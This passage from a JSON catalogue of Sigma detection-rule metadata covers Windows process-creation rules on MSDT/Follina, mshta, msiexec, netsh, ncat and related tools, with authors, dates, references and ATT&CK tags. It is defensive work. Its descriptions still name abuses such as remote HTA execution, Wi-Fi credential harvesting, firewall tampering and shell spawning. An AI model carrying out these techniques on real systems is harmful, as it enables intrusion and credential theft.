"creation_date": "2019/08/05", - "falsepositive": "No established falsepositives", - "filename": "proc_creation_win_mmc_spawn_shell.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mmc_spawn_shell.yml", - "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.003" - ] - }, - "uuid": "05a2ab7e-ce11-4b63-86db-ab32e763e11d", - "value": "MMC Spawning Windows Shell" - }, - { - "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", - "meta": { - "author": "frack113", - "creation_date": "2022/08/19", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_modify_group_policy_settings.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1484.001/T1484.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_modify_group_policy_settings.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1484.001" - ] - }, - "uuid": "ada4b0c4-758b-46ac-9033-9004613a150d", - "value": "Modify Group Policy Settings" - }, - { - "description": "Detects modification of an existing service on a compromised host in order to execute an arbitrary payload when the service is started or killed as a method of persistence.", - "meta": { - "author": "Sreeman", - "creation_date": "2020/09/29", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_modif_of_services_for_via_commandline.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://pentestlab.blog/2020/01/22/persistence-modify-existing-service/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_modif_of_services_for_via_commandline.yml" - ], - "tags": [ - "attack.persistence", - "attack.t1543.003", - "attack.t1574.011" - ] - }, - "uuid": "38879043-7e1e-47a9-8d46-6bec88e201df", - "value": "Modification Of Existing Services For Persistence" - }, - { - "description": "BITS will allow you to schedule a command to execute after a successful download to notify you that the job is finished. When the job runs on the system the command specified in the BITS job will be executed. This can be abused by actors to create a backdoor within the system and for persistence. It will be chained in a BITS job to schedule the download of malware/additional binaries and execute the program after being downloaded", - "meta": { - "author": "Sreeman", - "creation_date": "2020/10/29", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_monitoring_for_persistence_via_bits.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://isc.sans.edu/diary/Wipe+the+drive+Stealthy+Malware+Persistence+Mechanism+-+Part+1/15394", - "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_monitoring_for_persistence_via_bits.yml", - "http://0xthem.blogspot.com/2014/03/t-emporal-persistence-with-and-schtasks.html" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1197" - ] - }, - "uuid": "b9cbbc17-d00d-4e3d-a827-b06d03d2380d", - "value": "Monitoring For Persistence Via BITS" - }, - { - "description": "In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool \"Mouse Lock\" as being used for both credential access and collection in security incidents.", - "meta": { - "author": "Cian Heasley", - "creation_date": "2020/08/13", - "falsepositive": [ - "Legitimate uses of Mouse Lock software" - ], - "filename": "proc_creation_win_mouse_lock.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/klsecservices/Publications/blob/657deb6a6eb6e00669afd40173f425fb49682eaa/Incident-Response-Analyst-Report-2020.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mouse_lock.yml", - "https://sourceforge.net/projects/mouselock/" - ], - "tags": [ - "attack.credential_access", - "attack.collection", - "attack.t1056.002" - ] - }, - "uuid": "c9192ad9-75e5-43eb-8647-82a0a5b493e3", - "value": "Mouse Lock Credential Gathering" - }, - { - "description": "Detects file execution using the msdeploy.exe lolbin", - "meta": { - "author": "Beyu Denis, oscd.community", - "creation_date": "2020/10/18", - "falsepositive": [ - "System administrator Usage" - ], - "filename": "proc_creation_win_msdeploy.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/pabraeken/status/999090532839313408", - "https://twitter.com/pabraeken/status/995837734379032576", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdeploy.yml", - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msdeploy/" - ], - "tags": [ - "attack.execution", - "attack.t1218" - ] - }, - "uuid": "646bc99f-6682-4b47-a73a-17b1b64c9d34", - "value": "Execute Files with Msdeploy.exe" - }, - { - "description": "Detects processes leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability", - "meta": { - "author": "Nasreddine Bencherchali (rule)", - "creation_date": "2022/05/29", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_msdt.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt.yml", - "https://twitter.com/nao_sec/status/1530196847679401984", - "https://twitter.com/_JohnHammond/status/1531672601067675648" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "258fc8ce-8352-443a-9120-8a11e4857fa5", - "value": "Execute Arbitrary Commands Using MSDT.EXE" - }, - { - "description": "Detects diagcab leveraging the \"ms-msdt\" handler or the \"msdt.exe\" binary to execute arbitrary commands as seen in CVE-2022-30190", - "meta": { - "author": "GossiTheDog (rule), frack113 (sigma version)", - "creation_date": "2022/06/09", - "falsepositive": [ - "Legitimate usage of \".diagcab\" files" - ], - "filename": "proc_creation_win_msdt_diagcab.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_diagcab.yml", - "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-9015912909545e72ed42cbac4d1e96295e8964579c406d23fd9c47a8091576a0", - "https://github.com/GossiTheDog/ThreatHunting/blob/e85884abbf05d5b41efc809ea6532b10b45bd05c/AdvancedHuntingQueries/DogWalk-DiagCab" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "6545ce61-a1bd-4119-b9be-fcbee42c0cf3", - "value": "Execute MSDT.EXE Using Diagcab File" - }, - { - "description": "Detects execution of msdt.exe using the \"cab\" flag which could indicates suspicious diagcab files with embedded answer files leveraging CVE-2022-30190", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/06/21", - "falsepositive": [ - "Legitimate usage of \".diagcab\" files" - ], - "filename": "proc_creation_win_msdt_susp_cab_options.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_cab_options.yml", - "https://twitter.com/nas_bench/status/1537896324837781506" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "dc4576d4-7467-424f-9eee-fd2b02855fe0", - "value": "MSDT.EXE Execution With Suspicious Cab Option" - }, - { - "description": "Detects msdt.exe executed by a suspicious parent as seen in CVE-2022-30190 / Follina exploitation", - "meta": { - "author": "Nextron Systems", - "creation_date": "2022/06/01", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_msdt_susp_parent.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_susp_parent.yml", - "https://twitter.com/nao_sec/status/1530196847679401984" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1218" - ] - }, - "uuid": "7a74da6b-ea76-47db-92cc-874ad90df734", - "value": "MSDT Executed with Suspicious Parent" - }, - { - "description": "Detects the suspicious minimized start of MsEdge browser, which can be used to download files from the Internet", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/11", - "falsepositive": [ - "Software that uses MsEdge to download components in the background (see ParentImage, ParentCommandLine)" - ], - "filename": "proc_creation_win_msedge_minimized_download.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msedge_minimized_download.yml", - "https://twitter.com/mrd0x/status/1478234484881436672?s=12" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ] - }, - "uuid": "94771a71-ba41-4b6e-a757-b531372eaab6", - "value": "Suspicious Minimized MSEdge Start" - }, - { - "description": "Detects execution of the \"mshta\" utility with an argument containing the \"http\" keyword, which could indicate that an attacker is executing a remotely hosted malicious hta file", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/08/08", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_mshta_http.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.trendmicro.com/en_us/research/22/e/avoslocker-ransomware-variant-abuses-driver-file-to-disable-anti-Virus-scans-log4shell.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_http.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1218.005" - ] - }, - "uuid": "b98d0db6-511d-45de-ad02-e82a98729620", - "value": "Mshta Remotely Hosted HTA File Execution" - }, - { - "description": "Identifies suspicious mshta.exe commands.", - "meta": { - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_mshta_javascript.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/6bc283c4-21f2-4aed-a05c-a9a3ffa95dd4.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.005/T1218.005.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_javascript.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.005" - ] - }, - "uuid": "67f113fa-e23d-4271-befa-30113b3e08b1", - "value": "Mshta JavaScript Execution" - }, - { - "description": "Detects a Windows command line executable started from MSHTA", - "meta": { - "author": "Michael Haag", - "creation_date": "2019/01/16", - "falsepositive": [ - "Printer software / driver installations", - "HP software" - ], - "filename": "proc_creation_win_mshta_spawn_shell.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.trustedsec.com/july-2015/malicious-htas/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mshta_spawn_shell.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.005", - "car.2013-02-003", - "car.2013-03-001", - "car.2014-04-003" - ] - }, - "uuid": "03cc0c25-389f-4bf8-b48d-11878079f1ca", - "value": "MSHTA Spawning Windows Shell" - }, - { - "description": "Detects MsiExec loading a DLL and calling its DllUnregisterServer function", - "meta": { - "author": "frack113", - "creation_date": "2022/04/24", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_msiexec_dll.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_dll.yml", - "https://twitter.com/_st0pp3r_/status/1583914515996897281" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.007" - ] - }, - "uuid": "84f52741-8834-4a8c-a413-2eb2269aa6c8", - "value": "Suspicious Msiexec Load DLL" - }, - { - "description": "Adversaries may abuse msiexec.exe to proxy the execution of malicious payloads", - "meta": { - "author": "frack113", - "creation_date": "2022/04/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_msiexec_embedding.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_embedding.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md" - ], - "tags": [ - "attack.t1218.007", - "attack.defense_evasion" - ] - }, - "uuid": "4a2a2c3e-209f-4d01-b513-4155a540b469", - "value": "Suspicious MsiExec Embedding Parent" - }, - { - "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/16", - "falsepositive": [ - "Legitimate script" - ], - "filename": "proc_creation_win_msiexec_execute_dll.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_execute_dll.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", - "https://twitter.com/_st0pp3r_/status/1583914515996897281" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.007" - ] - }, - "uuid": "6f4191bb-912b-48a8-9ce7-682769541e6d", - "value": "Suspicious Msiexec Execute Arbitrary DLL" - }, - { - "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/01/16", - "falsepositive": [ - "Legitimate script" - ], - "filename": "proc_creation_win_msiexec_install_quiet.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_quiet.yml", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", - "https://twitter.com/_st0pp3r_/status/1583914244344799235" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.007" - ] - }, - "uuid": "79a87aa6-e4bd-42fc-a5bb-5e6fbdcd62f5", - "value": "Suspicious Msiexec Quiet Install" - }, - { - "description": "Detects usage of Msiexec.exe to install packages hosted remotely quietly", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_msiexec_install_remote.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_remote.yml", - "https://www.microsoft.com/en-us/security/blog/2022/10/27/raspberry-robin-worm-part-of-larger-ecosystem-facilitating-pre-ransomware-activity/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.007" - ] - }, - "uuid": "8150732a-0c9d-4a99-82b9-9efb9b90c40c", - "value": "Suspicious Msiexec Quiet Install From Remote Location" - }, - { - "description": "Detects process injection using Microsoft Remote Asssistance (Msra.exe) which has been used for discovery and persistence tactics", - "meta": { - "author": "Alexander McDonald", - "creation_date": "2022/06/24", - "falsepositive": [ - "Legitimate use of Msra.exe" - ], - "filename": "proc_creation_win_msra_process_injection.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.fortinet.com/content/dam/fortinet/assets/analyst-reports/ar-qakbot.pdf", - "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msra_process_injection.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055" - ] - }, - "uuid": "744a188b-0415-4792-896f-11ddb0588dbc", - "value": "Msra.exe Process Injection" - }, - { - "description": "Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.", - "meta": { - "author": "frack113", - "creation_date": "2022/01/07", - "falsepositive": [ - "WSL (Windows Sub System For Linux)", - "Other currently unknown software" - ], - "filename": "proc_creation_win_mstsc.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_mstsc.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.t1021.001" - ] - }, - "uuid": "954f0af7-62dd-418f-b3df-a84bc2c7a774", - "value": "Remote Desktop Protocol Use Mstsc" - }, - { - "description": "Detects multiple suspicious process in a limited timeframe", - "meta": { - "author": "juju4", - "creation_date": "2019/01/16", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "filename": "proc_creation_win_multiple_susp_cli.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://car.mitre.org/wiki/CAR-2013-04-002", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_multiple_susp_cli.yml" - ], - "tags": [ - "car.2013-04-002", - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "61ab5496-748e-4818-a92f-de78e20fe7f1", - "value": "Quick Execution of a Series of Suspicious Commands" - }, - { - "description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network", - "meta": { - "author": "frack113, Florian Roth", - "creation_date": "2021/07/21", - "falsepositive": [ - "Legitimate ncat use" - ], - "filename": "proc_creation_win_netcat_execution.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://nmap.org/ncat/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netcat_execution.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1095" - ] - }, - "uuid": "e31033fc-33f0-4020-9a16-faf9b31cbf08", - "value": "Ncat Execution" - }, - { - "description": "Detects netsh commands that opens the port 3389 used for RDP, used in Sarwent Malware", - "meta": { - "author": "Sander Wiebing", - "creation_date": "2020/05/23", - "falsepositive": [ - "Legitimate administration" - ], - "filename": "proc_creation_win_netsh_allow_port_rdp.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_allow_port_rdp.yml", - "https://labs.sentinelone.com/sarwent-malware-updates-command-detonation/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ] - }, - "uuid": "01aeb693-138d-49d2-9403-c4f52d7d3d62", - "value": "Netsh RDP Port Opening" - }, - { - "description": "Allow Incoming Connections by Port or Application on Windows Firewall", - "meta": { - "author": "Markus Neis, Sander Wiebing", - "creation_date": "2019/01/29", - "falsepositive": [ - "Legitimate administration" - ], - "filename": "proc_creation_win_netsh_fw_add.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add.yml", - "https://attack.mitre.org/software/S0246/ (Lazarus HARDRAIN)", - "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ] - }, - "uuid": "cd5cfd80-aa5f-44c0-9c20-108c4ae12e3c", - "value": "Netsh Port or Application Allowed" - }, - { - "description": "Detects Netsh commands that allows a suspcious application location on Windows Firewall", - "meta": { - "author": "Sander Wiebing, Jonhnathan Ribeiro, Daniil Yugoslavskiy, oscd.community", - "creation_date": "2020/05/25", - "falsepositive": [ - "Legitimate administration" - ], - "filename": "proc_creation_win_netsh_fw_add_susp_image.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.virusradar.com/en/Win32_Kasidet.AD/description", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_add_susp_image.yml", - "https://www.hybrid-analysis.com/sample/07e789f4f2f3259e7559fdccb36e96814c2dbff872a21e1fa03de9ee377d581f?environmentId=100" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ] - }, - "uuid": "a35f5a72-f347-4e36-8895-9869b0d5fc6d", - "value": "Netsh Program Allowed with Suspcious Location" - }, - { - "description": "Detects the removal of a port or application rule in the Windows Firewall configuration using netsh", - "meta": { - "author": "frack113", - "creation_date": "2022/08/14", - "falsepositive": [ - "Legitimate administration" - ], - "filename": "proc_creation_win_netsh_fw_delete.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/8bbd5b4c-b82d-4e6d-a3ea-d454594a37cc/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_delete.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ] - }, - "uuid": "1a5fefe6-734f-452e-a07d-fc1c35bce4b2", - "value": "Netsh Firewall Rule Deletion" - }, - { - "description": "Adversaries may modify system firewalls in order to bypass controls limiting network usage", - "meta": { - "author": "frack113", - "creation_date": "2022/01/09", - "falsepositive": [ - "Legitimate administration" - ], - "filename": "proc_creation_win_netsh_fw_enable_group_rule.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_fw_enable_group_rule.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-3---allow-smb-and-rdp-on-microsoft-defender-firewall", - "https://docs.microsoft.com/en-us/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ] - }, - "uuid": "347906f3-e207-4d18-ae5b-a9403d6bcdef", - "value": "Netsh Allow Group Policy on Microsoft Defender Firewall" - }, - { - "description": "Detects capture a network trace via netsh.exe trace functionality", - "meta": { - "author": "Kutepov Anton, oscd.community", - "creation_date": "2019/10/24", - "falsepositive": [ - "Legitimate administrator or user uses netsh.exe trace functionality for legitimate reason" - ], - "filename": "proc_creation_win_netsh_packet_capture.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://blogs.msdn.microsoft.com/canberrapfe/2012/03/30/capture-a-network-trace-without-installing-anything-capture-a-network-trace-of-a-reboot/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_packet_capture.yml" - ], - "tags": [ - "attack.discovery", - "attack.credential_access", - "attack.t1040" - ] - }, - "uuid": "d3c3861d-c504-4c77-ba55-224ba82d0118", - "value": "Capture a Network Trace with netsh.exe" - }, - { - "description": "Detects netsh commands that configure a port forwarding (PortProxy)", - "meta": { - "author": "Florian Roth, omkar72, oscd.community", - "creation_date": "2019/01/29", - "falsepositive": [ - "Legitimate administration", - "WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. https://github.com/microsoft/WSL/issues/4150#issuecomment-504209723)" - ], - "filename": "proc_creation_win_netsh_port_fwd.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.dfirnotes.net/portproxy_detection/", - "https://adepts.of0x.cc/netsh-portproxy-code/", - "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_fwd.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1090" - ] - }, - "uuid": "322ed9ec-fcab-4f67-9a34-e7c6aef43614", - "value": "Netsh Port Forwarding" - }, - { - "description": "Detects netsh commands that configure a port forwarding of port 3389 used for RDP", - "meta": { - "author": "Florian Roth, oscd.community", - "creation_date": "2019/01/29", - "falsepositive": [ - "Legitimate administration" - ], - "filename": "proc_creation_win_netsh_port_fwd_3389.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_port_fwd_3389.yml" - ], - "tags": [ - "attack.lateral_movement", - "attack.defense_evasion", - "attack.command_and_control", - "attack.t1090" - ] - }, - "uuid": "782d6f3e-4c5d-4b8c-92a3-1d05fed72e63", - "value": "Netsh RDP Port Forwarding" - }, - { - "description": "Detect the harvesting of wifi credentials using netsh.exe", - "meta": { - "author": "Andreas Hunkeler (@Karneades), oscd.community", - "creation_date": "2020/04/20", - "falsepositive": [ - "Legitimate administrator or user uses netsh.exe wlan functionality for legitimate reason" - ], - "filename": "proc_creation_win_netsh_wifi_credential_harvesting.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_wifi_credential_harvesting.yml", - "https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/" - ], - "tags": [ - "attack.discovery", - "attack.credential_access", - "attack.t1040" - ] - }, - "uuid": "42b1a5b8-353f-4f10-b256-39de4467faff", - "value": "Harvesting of Wifi Credentials Using netsh.exe" - }, - { - "description": "An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks.\nThese services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment.\nRemote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)\n", - "meta": { - "author": "frack113", - "creation_date": "2022/09/25", - "falsepositive": [ - "Legitimate use" - ], - "filename": "proc_creation_win_netsupport.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsupport.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1219" - ] - }, - "uuid": "758ff488-18d5-4cbe-8ec4-02b6285a434f", - "value": "Use of NetSupport Remote Access Software" - }, - { - "description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system", - "meta": { - "author": "frack113", - "creation_date": "2022/03/12", - "falsepositive": [ - "Legitimate script" - ], - "filename": "proc_creation_win_network_scan_loop.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://ss64.com/ps/foreach-object.htmll", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_scan_loop.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", - "https://ss64.com/nt/for.html" - ], - "tags": [ - "attack.execution", - "attack.t1059", - "attack.discovery", - "attack.t1018" - ] - }, - "uuid": "f8ad2e2c-40b6-4117-84d7-20b89896ab23", - "value": "Suspicious Scan Loop Network" - }, - { - "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.", - "meta": { - "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2019/10/21", - "falsepositive": [ - "Admin activity" - ], - "filename": "proc_creation_win_network_sniffing.yml", - "level": "low", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_network_sniffing.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1040/T1040.md" - ], - "tags": [ - "attack.credential_access", - "attack.discovery", - "attack.t1040" - ] - }, - "uuid": 